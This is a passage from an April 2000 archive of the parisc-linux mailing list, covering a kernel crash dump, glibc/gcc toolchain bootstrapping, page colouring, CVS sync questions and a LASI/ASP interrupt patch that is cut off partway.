Original-X-From: bdale@gag.com  Sun Apr  9 02:23:09 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id CAA03034
	for <parisc-linux@puffin.external.hp.com>; Sun, 9 Apr 2000 02:23:08 -0600
Original-Received: (qmail 2197 invoked by uid 15267); 9 Apr 2000 08:23:07 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2174 invoked from network); 9 Apr 2000 08:23:07 -0000
Original-Received: from rover.gag.com (postfix@192.133.104.32)
  by mailserv2.iuinc.com with SMTP; 9 Apr 2000 08:23:07 -0000
Original-Received: from gag.com (localhost [127.0.0.1])
	by rover.gag.com (Postfix) with ESMTP id 41C431E9D5
	for <parisc-linux@thepuffingroup.com>; Sun,  9 Apr 2000 02:23:05 -0600 (MDT)
Xref: news.gmane.org gmane.linux.ports.parisc:7179

Just came back to my 712's console window after spending some time on glibc
(it was booted just before that, a few hours ago), and found the following
crash info...  Before the 2.3.99 merge, I was not seeing the NFS timeouts, 
and it didn't crash, it would just lose the network after a while.  Hope
this helps someone.

??

Bdale




Stand-alone shelcurrent = c7fbc000, mm = c7f68040, mmap_sem = c7f6805c
l (version 3.4)
current = c7fbc000, mm = c7f68040, mmap_sem = c7f6805c
500 5 1970 53bcurrent = c7fbc000, mm = c7f68040, mmap_sem = c7f6805c

current = c7fbc000, mm = c7f68040, mmap_sem = c7f6805c
current = c7fbc000, mm = c7f68040, mmap_sem = c7f6805c
> current = c7fbc000, mm = c7f68040, mmap_sem = c7f6805c
current = c7fbc000, mm = c7f68040, mmap_sem = c7f6805c
current = c7fbc000, mm = c7f68040, mmap_sem = c7f6805c
current = c7fbc000, mm = c7f68040, mmap_sem = c7f6805c
foo 1073767600, 20020620
current = c7fbc000, mm = c7f68040, mmap_sem = c7f6805c

Dumping Stack from c0230000 to c0230a00:
0000 00000000 00000000 00000000 00000000 c020d880 00000000 00000000 ffffffff
0020 ffffff9c 00000000 00000000 00000000 c7f68040 00000000 00000000 c023003c
0040 c023003c c7fbc000 c7f70000 00000000 00000000 00000000 00000000 00000000
0060 00000000 00000000 00000000 00000000 00000000 00000000 00000000 c0230000
0080 c0230000 c7fbc000 00000000 00000000 00000000 00000000 00000000 c023009c
00a0 c023009c c02300a4 c02300a4 c0230648 00000000 00000000 00000000 00000000
00c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 c0130558
00e0 00000000 00000000 00218ec5 00000000 00000000 00000000 00000000 00218ec5
0100 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0120 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0140 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0160 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0180 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
01a0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
01c0 fffffeff fffffeff ffffffff 00000000 ffffffff ffffffff ffffffff ffffffff
01e0 ffffffff ffffffff 00800000 ffffffff 00000000 ffffffff ffffffff ffffffff
0200 00000800 00000800 00000400 00000400 ffffffff ffffffff ffffffff ffffffff
0220 00007377 61707065 72000000 00000000 00000000 00000000 00000000 00000000
0240 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0260 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0280 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
02a0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
02c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
02e0 00000000 00000000 00000000 00000000 00000000 00000000 c0230600 c01034f0
0300 00000000 00000000 00000000 00000000 c0214000 c0213040 c0213050 00000000
0320 c02131f0 00000000 00000000 00000000 00000000 00000000 c0230334 00000000
0340 00000000 00000000 00000000 00000001 00000000 00000000 c0230358 c0230358
0360 c0230360 c0230360 c0230368 00000000 00000000 00000000 00000000 00000000
0380 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
03a0 00000000 00000000 00000000 0050009c 00000000 00000000 00000000 00000000
03c0 bc0fd569 c0220d74 fff00000 00000000 7f7fffff 00000001 00214000 00800327
03e0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0400 00000000 00000000 00000000 00000000 00000064 c0120144 00000001 c0113cdc
0420 00000000 00000000 00000000 c0220f54 01900000 00f02300 00000000 00000000
0440 00000000 00000000 c0294d70 c0295988 00504b44 00000000 00000000 c02a0000
0460 c0295988 c0000000 c02a0000 c0295988 c0000000 00000000 00000072 00000072
0480 00000004 00000000 77c2ae08 c7ffc000 c02c143c ffffffff c7fe9140 c0101cac
04a0 00000000 00000000 c012c3b8 c02208d4 00000000 00000000 00000000 00000000
04c0 c063ff18 43f02aa9 00004800 00004400 000043ff c0295800 00504b44 c7ff0000
04e0 c7ff8000 00008000 c020e000 c01023d4 c063ff18 c7ff0000 c7ff8000 00008000
0500 000cfd0b c020e000 c01023d4 c0230000 c7fee000 c020e000 00008000 c7ff8000
0520 c0100000 c7ff0000 00504b44 c0295800 000043ff 00004400 00004800 43f02aa9
0540 00004000 00000000 00000c00 00000000 c0230000 00000001 00000001 00000000
0560 00000001 00000032 00000019 c0206000 00000000 00000001 c0230640 00000000
0580 00000000 00002000 00004400 00002000 00000000 00000000 00000000 00000000
05a0 00000000 00000000 c01023e0 c01023d8 00000000 00004000 00000000 00000003
05c0 08000240 c0235000 c01131dc c0230500 c0230000 00000000 c7f68040 c7f88000
05e0 c0100000 c7ff0000 00504b44 c0295800 000043ff 00004400 00004800 43f02aa9
0600 00004000 00000000 00000c00 00000332 00006640 00000000 00000001 00006660
0620 00000333 00001000 00000020 c010450c 00002000 c020b700 c0230700 00000000
0640 c0295800 00504b44 c7ff0000 c7ff8000 00008000 c020e000 c7fee000 c0230000
0660 00000000 00000000 c01131a8 c01131ac 00000000 00000001 c0230740 00000003
0680 08160253 00000000 00004400 00002000 00000000 00000000 00000000 00000000
06a0 00000000 00000000 c0103500 c0114bf8 00000000 c7fff8e8 c7fff8e0 0000000f
06c0 20000000 20000000 00000002 00000102 00004000 43f02aa9 00004800 00004400
06e0 000043ff c0295800 c0114afc c0114afc c7ff8000 00008000 c020e000 c7fee000
0700 c0295800 c020627c c0206570 00000100 c0230500 c0295800 00000000 c0230500
0720 00004800 00000001 c0114afc c01bdae0 00000007 c020e4fc 00000060 0000008c
0740 c0230500 c020654c 00000002 c0206570 00000102 c0230500 c0230500 c7fea080
0760 c063ff18 00004400 c01315b8 c01315b8 c0230740 c7ff0000 c7ff8000 00008000
0780 c0295800 0000000e c023aa88 00000001 00000000 c0295800 00000000 c0295800
07a0 0000000b c023aa98 c0114bc0 c0114bf8 000043ff 00004400 00004800 43f02aa9
07c0 00000100 00000100 00000017 00000217 c0295fe0 00000000 fffffffe c0295bb4
07e0 c0295ba0 c0235000 c0114afc c0114afc c0235000 00000001 c02308c0 c0114afc
0800 00000c00 00000000 c0230500 43f02aa9 00000c00 00000000 c0230500 43f02aa9
0820 00004800 00004400 000043ff c0230500 c7fea0e0 00000002 c0206570 00000217
0840 c0230500 c0295800 c7fbbe28 c7fedc00 00000000 c029eba4 c01eb9ac c029eba4
0860 c021cf30 c7fedc00 c0133e40 c0133be4 00000806 00000001 c0230940 c01c5678
0880 c0296000 00000001 00000001 00000000 c0230500 00000000 c0295800 00000000
08a0 c020d000 c020e000 c0295ed8 c0133a64 c020de40 00004400 00004800 00000002
08c0 0004000a c021c000 c01b9118 c7fb4000 c7fb4290 c7fedc00 00000000 c021c000
08e0 c0100000 c021c000 c7fea0e0 c0230500 000043ff c7fb4000 ffffffff c0000000
0900 c7fb4014 00004000 c7fb4016 0000a002 c0000000 c0000000 c01b8c60 00000000
0920 00000217 fffffff8 c7fb46c0 c0206000 00000000 00000001 c0230a00 c0114afc
0940 00000000 00002000 00004400 00000000 00000000 00000000 00000000 00000000
0960 00000000 00000000 c01b9174 c01b9178 00000000 00000003 c0230a40 00000002
0980 0dc01053 00000000 ffffffff 00000000 00000000 c0230500 43f02aa9 00000000
09a0 00219065 c020d800 0000012a c01a35cc c7fedc00 c7fedc00 c7f85900 c0856801
09c0 c7f7a0e0 ffffffff 00000002 c0206570 00000102 c0230780 c0230780 c7fea080
09e0 c0100000 c029e800 c0114afc c0104a84 00000000 c7f7c034 c029e800 43f02aa9

Kernel Fault: Code=15 regs=c02308c0 (Addr=ffffffff)

PSW  : 0004000a  GR 1 : c021c000  GR 2 : c01b9118  GR 3 : c7fb4000  
GR 4 : c7fb4290  GR 5 : c7fedc00  GR 6 : 00000000  GR 7 : c021c000  
GR 8 : c0100000  GR 9 : c021c000  GR10 : c7fea0e0  GR11 : c0230500  
GR12 : 000043ff  GR13 : c7fb4000  GR14 : ffffffff  GR15 : c0000000  
GR16 : c7fb4014  GR17 : 00004000  GR18 : c7fb4016  GR19 : 0000a002  
GR20 : c0000000  GR21 : c0000000  GR22 : c01b8c60  GR23 : 00000000  
GR24 : 00000217  GR25 : fffffff8  GR26 : c7fb46c0  GR27 : c0206000  
GR28 : 00000000  GR29 : 00000001  GR30 : c0230a00  GR31 : c0114afc  
SR0  : 00000000  SR1  : 00002000  SR2  : 00004400  SR3  : 00000000  
SR4  : 00000000  SR5  : 00000000  SR6  : 00000000  SR7  : 00000000  

IASQ : 00000000 00000000 IAOQ : c01b9174 c01b9178
 IIR : 0dc01053 ISR : 00000000 IOR : ffffffff


From - Thu Nov 08 21:12:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] building a glibc-based tool chain
Date: 09 Apr 2000 12:17:13 -0400
Lines: 45
Approved: news@gmane.org
Message-ID: <87em8fjlkm.fsf@tarwebok.thepuffingroup.com>
References: <20000409072731.14C0C1E9D6@rover.gag.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618881 31977 80.91.229.3 (22 Nov 2014 01:14:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:41 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Bdale Garbee <bdale@gag.com>
Original-X-From: dhd@linuxcare.com  Sun Apr  9 10:19:54 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA07211
	for <parisc-linux@puffin.external.hp.com>; Sun, 9 Apr 2000 10:19:54 -0600
Original-Received: (qmail 9866 invoked by uid 15267); 9 Apr 2000 16:19:53 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9851 invoked from network); 9 Apr 2000 16:19:52 -0000
Original-Received: from ppp0a005.std.com (HELO tarwebok) (mail@208.192.100.5)
  by mailserv2.iuinc.com with SMTP; 9 Apr 2000 16:19:52 -0000
Original-Received: from dhd by tarwebok with local (Exim 3.12 #1 (Debian))
	id 12eKOf-00054f-00; Sun, 09 Apr 2000 12:17:13 -0400
Original-Lines: 44
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.5
Xref: news.gmane.org gmane.linux.ports.parisc:7180

Bdale Garbee <bdale@gag.com> writes:

> In article <20000409060602.269491E9D6@rover.gag.com> you wrote:
> 
> > We have the crt[1in].o in /opt/palinux/lib, but not crtbegin*.  I'm off to
> > see if I can figure that out now.
> 
> So, crtbegin/crtend are related to constructors and destructors for C++.  I
> see where they get defined as part of extra_parts in the gcc build for various
> architectures, but I confess to not understanding how they are being included
> in my builds... 

They aren't always needed.  I suspect they may be related to whether
you compile code as position-independent or not, as the spec file on
i386 seems to indicate that they get linked in if you link with
-shared:

    16  *endfile:
    17  %{!shared:crtend.o%s} %{shared:crtendS.o%s} crtn.o%s

    28  *startfile:
    29  %{!shared:      %{pg:gcrt1.o%s} %{!pg:%{p:gcrt1.o%s}                   %
    29  {!p:%{profile:gcrt1.o%s}                         %{!profile:crt1.o%s}}}}
    29      crti.o%s %{!shared:crtbegin.o%s} %{shared:crtbeginS.o%s}

On Alpha (actually 64-bit RISC architectures in general, I think - for
rather intuitive reasons related to the size of instructions vs. the
size of pointers :) all code is position-independent, which is
probably why they're part of the standard runtime environment there.

So, this is probably another side effect of gcc and binutils assuming
that PA-RISC ELF targets are always 64-bit targets.  However I'm not
up on the details of Sammy's ELF32 ABI ...

Needless to say we won't be compiling any C++ programs for a little
while at least (can we remove dselect from the dpkg sources? please?
pretty please? :)  So, you could probably just edit them out of your
spec file manually for the time being.

-- 
David Huggins-Daines, Senior Linux Consultant, Linuxcare, Inc.
613.562.1239 desk, 613.223.0225 mobile
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:12:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bdale Garbee <bdale@gag.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] building a glibc-based tool chain
Date: Sun,  9 Apr 2000 10:56:45 -0600 (MDT)
Lines: 38
Approved: news@gmane.org
Message-ID: <20000409165645.647F51E9D6@rover.gag.com>
References: <87em8fjlkm.fsf@tarwebok.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618882 31979 80.91.229.3 (22 Nov 2014 01:14:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:42 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: bdale@gag.com  Sun Apr  9 10:56:48 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA07927
	for <parisc-linux@puffin.external.hp.com>; Sun, 9 Apr 2000 10:56:47 -0600
Original-Received: (qmail 23365 invoked by uid 15267); 9 Apr 2000 16:56:47 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23357 invoked from network); 9 Apr 2000 16:56:46 -0000
Original-Received: from rover.gag.com (postfix@192.133.104.32)
  by mailserv2.iuinc.com with SMTP; 9 Apr 2000 16:56:46 -0000
Original-Received: by rover.gag.com (Postfix, from userid 1000)
	id 647F51E9D6; Sun,  9 Apr 2000 10:56:45 -0600 (MDT)
X-Newsgroups: list.parisc-linux
In-Reply-To: <87em8fjlkm.fsf@tarwebok.thepuffingroup.com>
User-Agent: tin/1.4.1-19991201 ("Polish") (UNIX) (Linux/2.2.15pre15 (i686))
Xref: news.gmane.org gmane.linux.ports.parisc:7181

In article <87em8fjlkm.fsf@tarwebok.thepuffingroup.com> you wrote:

> So, this is probably another side effect of gcc and binutils assuming
> that PA-RISC ELF targets are always 64-bit targets.  However I'm not
> up on the details of Sammy's ELF32 ABI ...

Aha.

> Needless to say we won't be compiling any C++ programs for a little
> while at least (can we remove dselect from the dpkg sources? please?
> pretty please? :)

Yes, in fact.  I chatted with Wichert (Debian Project Leader and one of the
current dpkg maintainers) the other night about how to bootstrap dpkg, and
there are now options that assist the process by skipping the dselect build
and the documentation build, both of which have *very* deep dependency chains.
On the other hand, I've been using Debian so long that dselect (with the apt
method, of course!) is a highly productive tool to me...  :-)  

> So, you could probably just edit them out of your spec file manually for 
> the time being.

I hadn't thought of that.  I'll try it in a bit.  Family obligations this
morning and the last regular-season Avalanche hockey game this afternoon...

Oh, and one more set of observations from last night, that I got too tired to
send off properly before I gave up and went to bed:

If you build glibc ala Paul, install it, build gcc and install it, then
build glibc again *pristine*, it builds completely and installs.  I gather
we've got a circular dependency between gcc and glibc builds.  I wasn't overly
surprised by this, but it's sort of rude after building cross compilation
environments using newlib.  So, once there is a bootstrapped glibc in the 
target tree, and gcc has been built, go back and undo the hacks (except the 
Unix98 one, which is still needed) and glibc builds and installs cleanly!

Bdale


From - Thu Nov 08 21:12:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sam Creasey <sammy@sammy.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] page colouring....
Date: Sun, 9 Apr 2000 23:42:33 -0400 (EDT)
Lines: 26
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0004092320450.32368-100000@sammyville.sammy.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618882 31982 80.91.229.3 (22 Nov 2014 01:14:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:42 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: sammy@sammy.net  Sun Apr  9 21:36:57 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id VAA13272
	for <parisc-linux@puffin.external.hp.com>; Sun, 9 Apr 2000 21:36:56 -0600
Original-Received: (qmail 31390 invoked by uid 15267); 10 Apr 2000 03:36:55 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31376 invoked from network); 10 Apr 2000 03:36:54 -0000
Original-Received: from dhcp9544086.columbus.rr.com (HELO sammyville.sammy.net) (24.95.44.86)
  by mailserv2.iuinc.com with SMTP; 10 Apr 2000 03:36:54 -0000
Original-Received: from localhost (sammy@localhost)
	by sammyville.sammy.net (8.8.7/8.8.7) with ESMTP id XAA26440
	for <parisc-linux@thepuffingroup.com>; Sun, 9 Apr 2000 23:42:33 -0400
Xref: news.gmane.org gmane.linux.ports.parisc:7182




Ok, so, the bit about applying a given "colour" to a page due to it's
virtual page has been confusing me for quite some time now...   

However, earlier today, __get_coloured_pages() was misbehaving
(e.g. destroying the zone allocations badly enough that no more
alloc_pages() calls would fly, and death ensued.), so I turned it off.

Simply using alloc_page() and removing all colour checks seems to have
helped matters considerably (speed and stability).


Anyone with better knowledge of why it's here want to enlighten me?


-- Sam


# uname -a
Linux 10.0.0.5 2.3.99-pre1 #41 Sun Apr 9 21:07:39 EDT 2000 parisc unknown
#




From - Thu Nov 08 21:12:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ingo Matthaes <imatthae@hpugrca.grc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux]
Date: Mon, 10 Apr 2000 09:32:54 +0200
Lines: 19
Approved: news@gmane.org
Message-ID: <20000410093254.A17679@grccd310.grc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416618882 31984 80.91.229.3 (22 Nov 2014 01:14:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:42 +0000 (UTC)
To: lrisc-Linux <parisc-linux@thepuffingroup.com>
Original-X-From: imatthae@hpugrca.grc.hp.com  Mon Apr 10 02:34:24 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id CAA15695
	for <parisc-linux@puffin.external.hp.com>; Mon, 10 Apr 2000 02:34:24 -0600
Original-Received: (qmail 21679 invoked by uid 15267); 10 Apr 2000 08:34:19 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21646 invoked from network); 10 Apr 2000 08:34:18 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 10 Apr 2000 08:34:18 -0000
Original-Received: from hpugrca.grc.hp.com (hpugrca.grc.hp.com [15.137.20.50])
	by palrel3.hp.com (Postfix) with ESMTP id 86A15934
	for <parisc-linux@thepuffingroup.com>; Mon, 10 Apr 2000 01:34:16 -0700 (PDT)
Original-Received: from trillian.grc.hp.com (grccd310.grc.hp.com) by hpugrca.grc.hp.com with ESMTP
	(1.40.112.4/15.5+ECS 3.3) id AA037305653; Mon, 10 Apr 2000 09:34:13 +0100
Original-Received: from marvin by trillian.grc.hp.com with local (Exim 3.12 #1 (Debian))
	id 12eYgo-0004gb-00
	for <parisc-linux@thepuffingroup.com>; Mon, 10 Apr 2000 09:32:54 +0200
Content-Disposition: inline
User-Agent: Mutt/1.1.9i
Xref: news.gmane.org gmane.linux.ports.parisc:7183

Hi all,

When will the anonymous CVS tree be syncd again ?
Or has the repository been changed ? Im not able to see the changed 
mentioned in CVS Digests.

Ingo

-- 
Ingo Matths

Ingo Matths                        Hewlett-Packard GmbH
Tel: ++49-2102-906-279              German Response Center
Fax: ++49-2102-907-934              Berliner Str. 111
Mailto:imatthae@grc.hp.com          40880 Ratingen
                                    Germany
OpenPGP fingerprint = 4298E7785FFD65DC8950 14E9F17F8CB5B611AA4A



From - Thu Nov 08 21:12:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ingo Matthaes <imatthae@hpugrca.grc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] and now with subject: Anonymous CVS
Date: Mon, 10 Apr 2000 10:13:19 +0200
Lines: 19
Approved: news@gmane.org
Message-ID: <20000410101319.A18140@grccd310.grc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416618883 31987 80.91.229.3 (22 Nov 2014 01:14:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:43 +0000 (UTC)
To: lrisc-Linux <parisc-linux@thepuffingroup.com>
Original-X-From: imatthae@hpugrca.grc.hp.com  Mon Apr 10 03:14:41 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id DAA16226
	for <parisc-linux@puffin.external.hp.com>; Mon, 10 Apr 2000 03:14:40 -0600
Original-Received: (qmail 2753 invoked by uid 15267); 10 Apr 2000 09:14:39 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2746 invoked from network); 10 Apr 2000 09:14:39 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 10 Apr 2000 09:14:39 -0000
Original-Received: from hpugrca.grc.hp.com (hpugrca.grc.hp.com [15.137.20.50])
	by palrel3.hp.com (Postfix) with ESMTP id 148E93DF
	for <parisc-linux@thepuffingroup.com>; Mon, 10 Apr 2000 02:14:38 -0700 (PDT)
Original-Received: from trillian.grc.hp.com (grccd310.grc.hp.com) by hpugrca.grc.hp.com with ESMTP
	(1.40.112.4/15.5+ECS 3.3) id AA045618077; Mon, 10 Apr 2000 10:14:37 +0100
Original-Received: from marvin by trillian.grc.hp.com with local (Exim 3.12 #1 (Debian))
	id 12eZJv-0004ij-00
	for <parisc-linux@thepuffingroup.com>; Mon, 10 Apr 2000 10:13:19 +0200
Content-Disposition: inline
User-Agent: Mutt/1.1.9i
Xref: news.gmane.org gmane.linux.ports.parisc:7184

Hi all,

When will the anonymous CVS tree be syncd again ?
Or has the repository been changed ? Im not able to see the changed
mentioned in CVS Digests.

Ingo

-- 
Ingo Matths

Ingo Matths                        Hewlett-Packard GmbH
Tel: ++49-2102-906-279              German Response Center
Fax: ++49-2102-907-934              Berliner Str. 111
Mailto:imatthae@grc.hp.com          40880 Ratingen
                                    Germany

OpenPGP fingerprint = 4298E7785FFD65DC8950 14E9F17F8CB5B611AA4A


From - Thu Nov 08 21:12:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: 5116@telia.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ASP patchlet
Date: Tue, 11 Apr 2000 00:00:00 +0200 (CEST)
Lines: 136
Approved: news@gmane.org
Message-ID: <200004102200.AAA14260@zaphod.halden.lillfab.se>
Reply-To: 5116@telia.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416618883 31988 80.91.229.3 (22 Nov 2014 01:14:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:14:43 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: 5116@telia.com  Mon Apr 10 16:00:10 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA23115
	for <parisc-linux@puffin.external.hp.com>; Mon, 10 Apr 2000 16:00:08 -0600
Original-Received: (qmail 457 invoked by uid 15267); 10 Apr 2000 22:00:07 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 447 invoked from network); 10 Apr 2000 22:00:07 -0000
Original-Received: from mailf.telia.com (root@194.22.194.25)
  by mailserv2.iuinc.com with SMTP; 10 Apr 2000 22:00:07 -0000
Original-Received: from zaphod.halden.lillfab.se (t5o70p86.telia.com [195.67.239.86])
	by mailf.telia.com (8.9.3/8.9.3) with ESMTP id AAA25291
	for <parisc-linux@thepuffingroup.com>; Tue, 11 Apr 2000 00:00:03 +0200 (CEST)
Original-Received: (from danne@localhost)
	by zaphod.halden.lillfab.se (8.9.3/8.9.3) id AAA14260
	for parisc-linux@thepuffingroup.com; Tue, 11 Apr 2000 00:00:01 +0200
X-MIME-Autoconverted: from QUOTED-PRINTABLE to 8bit by puffin.external.hp.com id QAA23115
Xref: news.gmane.org gmane.linux.ports.parisc:7185

Hello, all

With this patch I get some noises from the core LAN in my old ASP 715.
It dont seem to get anny interrupts yes though, any comments?

82596.c: MAC of HP700 LAN blidely read from prom !
eth0: 82596 at 0xf0826000, 08 00 09 62 71 EA IRQ 535.
lasi_82596.c:v1.2 02/13/2000
eth0: lp at 0xc2fcc000 (1720 bytes), lp->scb at 0xc2fcc014
request_irq(535, c01b1a64, 0x0, i82596, c2fecc00)
lasi_enable_irq(c2fe9080, 23) IMR 0x100 addr f0800004
lasi_disable_irq(c2fe9080, 23) IMR 0x00
eth0: i82596 initialization timed out with status 0000, cmd 0000.
lasi_enable_irq(c2fe9080, 23) IMR 0x100 addr f0800004 
eth0: receive unit start timed out with status 0000, cmd 0100.
about to RX_START status 0000
i82596 init timed out with status 0000, cmd 0010.
Sending BOOTP requests............. timed out!
IP-Config: Auto-configuration of network failed.
RTNL: assertion failed at devinet.c(785):inetdev_event
eth0: close1 timed out with status 0000, cmd 0010.
eth0: close2 timed out with status 0000, cmd 0440.
i596_cleanup_cmd
i596_cleanup_cmd timed out with status 0000, cmd 0440.
lasi_disable_irq(c2fe9080, 23) IMR 0x00
RTNL: assertion failed at devinet.c(785):inetdev_event  

/Daniel
                                                                                                       
--- drivers/gsc/lasi.c	Mon Apr 10 23:46:13 2000
+++ drivers/gsc/lasi.c.de	Mon Apr 10 23:43:40 2000
@@ -148,6 +148,11 @@
 	while (lasi &&
 		(((unsigned int) lasi->hpa & ~0xffff) != ((unsigned int) dev->hpa & ~0xffff)))
 	{
+	        if ((unsigned int)lasi->hpa == 0xf0800000 && 
+		    ((unsigned int)dev->hpa & 0xffff0000) == 0xf0820000) {
+		    /* Special case: the ASP do not follow later LASI rules */
+		    break;
+		}
 		lasi = lasi->next;
 	}
 
@@ -158,24 +163,41 @@
 		return 0;
 	}
 
-	/*
-	** "irq" bits below are numbered relative to most significant bit.
-	*/
-	switch (off) {
-	case 0x0000:	irq = 17; break; /* Lasi itself */
-	case 0x2000:	irq = 24; break; /* Centronics/Parallel Port */
-	case 0x4000:	irq = 18; break; /* Audio */
-//	case 0x4???:	irq = 13; break; /* ISDN */
-	case 0x5000:	irq = 26; break; /* RS232 */
-	case 0x6000:	irq = 22; break; /* SCSI */
-	case 0x7000:	irq = 23; break; /* LAN */
-	case 0x8000:	irq =  5; break; /* Keyboard/Mouse */
-	case 0xA000:	irq = 11; break; /* Floppy Disk Controller */
-	default: 
-		printk("Lasi: never seen the HPA offset of 0x%x.\n",off);
-		return(0);
-	}
-
+       if (lasi->hpa == 0xf0800000) {
+	  /* The ASP */
+	  switch (off) {
+	   case 0xF000:	irq = 17; break; /* ASP itself (bus error) */
+	   case 0x4000:	irq = 24; break; /* Centronics/Parallel Port */
+	   case 0x9000:	irq = 18; break; /* Audio */
+	   case 0x3000:	irq = 26; break; /* RS232 A */
+	   case 0x2000:	irq = 25; break; /* RS232 B */
+	   case 0x5000:	irq = 22; break; /* SCSI */
+	   case 0x6000:	irq = 23; break; /* LAN */
+	 
+	   default: 
+	     printk("ASP: never seen the HPA offset of 0x%x.\n",off);
+	     return(0);
+	  }
+       }else{
+	  
+	  /*
+	   ** "irq" bits below are numbered relative to most significant bit.
+	   */
+	  switch (off) {
